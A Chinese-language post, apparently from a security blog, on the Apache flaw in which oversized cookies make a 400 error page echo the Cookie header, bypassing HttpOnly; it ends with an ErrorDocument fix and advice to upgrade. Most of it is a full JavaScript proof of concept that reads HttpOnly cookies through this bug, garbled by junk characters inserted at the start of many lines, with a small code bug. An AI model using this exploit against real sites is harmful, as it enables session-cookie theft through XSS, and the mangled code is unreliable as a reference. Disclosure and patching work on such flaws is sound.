Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

. a- V* F2 l5 c, p! J4 E用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:


  R4 m! C7 Q+ j  H! A8 A# v// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
" E$ l; S  S3 J$ E" `+ T( b0 j// Construct string for cookie value
, Q9 z. H# x6 t4 w5 S* |) dvar str = "";
for (var i=0; i< 819; i++) {
+ t: A! [/ c$ h2 rstr += "x";
}
// Set cookies
/ a) ^$ _) Z) sfor (i = 0; i < 10; i++) {
// Expire evil cookie
. u" o9 |/ ^0 J! y- R# E/ pif (good) {
$ w& ^7 i# U4 A; u( Uvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
5 S9 |! u# ?, |) `/ P0 I5 y// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
4 Q! K! F( |. l- R; d}
function makeRequest() {
: }* G) n6 z4 hsetCookies();
4 Q' Z- X( Z% J  u0 ?function parseCookies () {
var cookie_dict = {};
7 O8 Y* }/ F9 v( L/ X// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
3 G4 g; k1 U$ T4 s/ c+ g, vvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
+ b7 ?7 o, d, l, |, [if (content.length) {
$ _, q8 G, P) s# q" P- O! |// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
0 B' r) D9 n7 W$ ^1 u: Fvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies.split('=',2);
5 ]$ K/ ]1 e9 L6 |/ L" Y, y7 [0 Scookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
setCookies(true);
7 j4 e' Z2 N- R4 ^alert(JSON.stringify(cookie_dict));
: j1 j  b2 Z) o: D1 _+ u}
$ M  J" p: L+ i: W) Y}
// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
- x- N1 F  x7 j' wxhr.open("GET", "/", true);
xhr.send(null);
}
makeRequest();

你就能看见华丽丽的400错误包含着cookie信息。

下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
8 f$ o7 C: f+ }6 Z# X1 R5 I
修复方案：
$ A- o! _; h2 I+ |0 n
! {' X) B0 Y. AApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

  Y8 Z6 R3 w( h" E& nIn the event of a problem or error, Apachecan be configured to do one of four things,
( r' x. D; t" k. O
: q7 x* X' y! T( d; R6 C+ o" S9 i1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2 L4 @0 L% _* B7 H# F+ V2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL

经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
6 L% n' N# e4 T' [5 N
Apache配置：

  k" K, O9 c. o% b- W$ g2 {ErrorDocument400 " security test"

当然，升级apache到最新也可：）。

* p. @0 F4 i2 Q, Y% C参考：http://httpd.apache.org/security/vulnerabilities_22.html
8 ?1 Q  A5 G$ H  l1 z